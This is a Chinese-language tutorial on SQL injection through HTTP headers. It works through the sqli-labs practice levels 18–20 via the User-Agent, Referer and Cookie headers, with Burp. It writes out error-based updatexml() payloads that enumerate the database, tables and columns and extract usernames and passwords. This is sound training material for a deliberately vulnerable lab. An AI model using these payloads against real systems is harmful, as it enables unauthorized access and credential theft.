HTTP头部注入
常见的sql注入一般是通过请求参数或者表单进行注入,HTTP头部注入是通过HTTP协议头部字段值进行注入。
HTTP头部注入常存在于这些地方:
产生HTTP头部注入的条件:
能够对请求头消息进行修改
修改的请求头信息能够带入数据库进行查询
数据库没有对输入的请求信息做过滤
User-Agent注入
User-Agent:是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。能使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。
靶场环境:
sqli-labs less-18,登录用户密码:Dumb,Dumb
注入前准备条件:
- 打开并启动PHPstudy
- 打开火狐浏览器,并使用靶机sqli-labs的Less18,输入账号密码:Dumb,点击登录
- 打开burp,按如图所示顺序进行
判断注入点及注入类型:
- 在user-agent值后面加上',页面发生报错,确定存在sql注入,是单引号闭合的字符型注入,且是报错注入
获取数据库名
- 采用报错注入函数获取当前数据库名
'and updatexml(1,concat('^',(database()),'^'),1) and '
获取数据库表名
' and updatexml(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema = database() ),'^'),1) and '
获取表中字段名
' and updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 0x7573657273),'^'),1) and '
获取用户数量
- updatexml()函数回显字符长度有限,先获取用户数量,再逐一获取用户名和密码。
' and updatexml(1,concat(0x7e,(select count(username) from users),0x7e),1) and '
如上图所示,共有13个用户
获取字段内容
' and updatexml(1,concat('^',(select concat(id,0x3a,username,0x3a,password) from users limit 0,1),'^'),1) and '
Referer注入
Referer:是HTTP header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
靶场环境:
sqli-labs less-19
注入前准备条件:
- 打开并启动PHPstudy
- 打开火狐浏览器,并使用靶机sqli-labs的Less-19,输入账号密码:Dumb,点击登录
- 打开burp ,让burp获取请求
判断注入点及注入类型:
- 在Referer值后面加上',页面发生报错,确定存在sql注入,是单引号闭合的字符型注入,且是报错注入
获取数据库名
- 使用报错注入函数获取数据库名
' and updatexml(1,concat(0x7e,(database()),0x7e),0) and '
获取数据库表名
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database() ),0x7e),1) and '
获取表中字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 0x7573657273),0x7e),1) and '
获取字段内容
' and updatexml(1,concat(0x7e,(select concat(id,0x3a,username,0x3a,password) from users limit 0,1),0x7e),1) and '
Cookie注入
Cookie:服务器端用来记录客户端的状态,由服务器端产生,保存在浏览器中,所以即使用不同的浏览器访问同一个页面Cookie值都不一样。
Cookie的作用:
主要记录用户状态,例如登录后返回一个Cookie
统计用户访问网站的次数,操作。第一次请求一个不需要登录的网站也会返回一个set-Cookie
Cookie的分类:
- 会话cookie
不设置Cookie的到期(expires)时间,会话结束即浏览器关闭就是一次会话,即Cookie失效。会话 Cookie 是为实现 session 机制而采用的在 Client 端与 Server 端之间保持状态的解决方案之一,在默认情况下是保存在 Client 端内存中的。注意:会话 Cookie 的“会话”这里不是指 Server 端的 Session ,而是指的是浏览器,所以会话 Cookie 的生命周期不是与 Server 端的 Session 那个会话相同,而是与浏览器相同,就是说只要开着浏览器会话 Cookie 就存在,关闭浏览器它就过期了。但是会话 Cookie 的值是与 Server 端的 SessionId 对应相同的。就是说会话Cookie随着Server端Session的创建而创建,但并不随着Session的过期而过期,而是随着Client端的浏览器关闭而销毁。 这说明只要会话Cookie 出现了,Server 端的 Session 就已经创建了。
- 持久Cookie
设置了生命周期,到期销毁
靶场环境:
sqli-labs的Less-20
注入前准备条件:
- 打开并启动PHPstudy
- 打开火狐浏览器,并使用靶机sqli-labs的Less-20,输入账号密码:Dumb,点击登录
- 打开burp ,让burp获取请求
判断注入点及注入类型
- 在Cookie值后面加上',页面发生报错,确定存在sql注入,是单引号闭合的字符型注入,且是报错注入
获取数据库名
- 使用报错注入函数获取数据库名
' and updatexml(1,concat(0x7e,(database()),0x7e),0) and '
获取数据库表名
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database() ),0x7e),1) and '
获取4个表名,其中账号密码可能存放在users中
获取表中字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 0x7573657273),0x7e),1) and '
获取到3个字段名,分别是id,username,password
获取用户数量
- updatexml()函数回显字符长度有限,先获取用户数量,再逐一获取用户名和密码。
' and updatexml(1,concat(0x7e,(select count(username) from users),0x7e),1) and '
如上图所示,共有13个用户
获取字段内容
' and updatexml(1,concat(0x7e,(select concat(id,0x3a,username,0x3a,password) from users limit 0,1),0x7e),1) and '
总结:
updatexml()函数回显字符长度有限,先获取用户数量,再逐一获取用户名和密码
需要找到注入点 才能够闭合引号的注入参数
版权归原作者 百事都可樂. 所有, 如有侵权,请联系我们删除。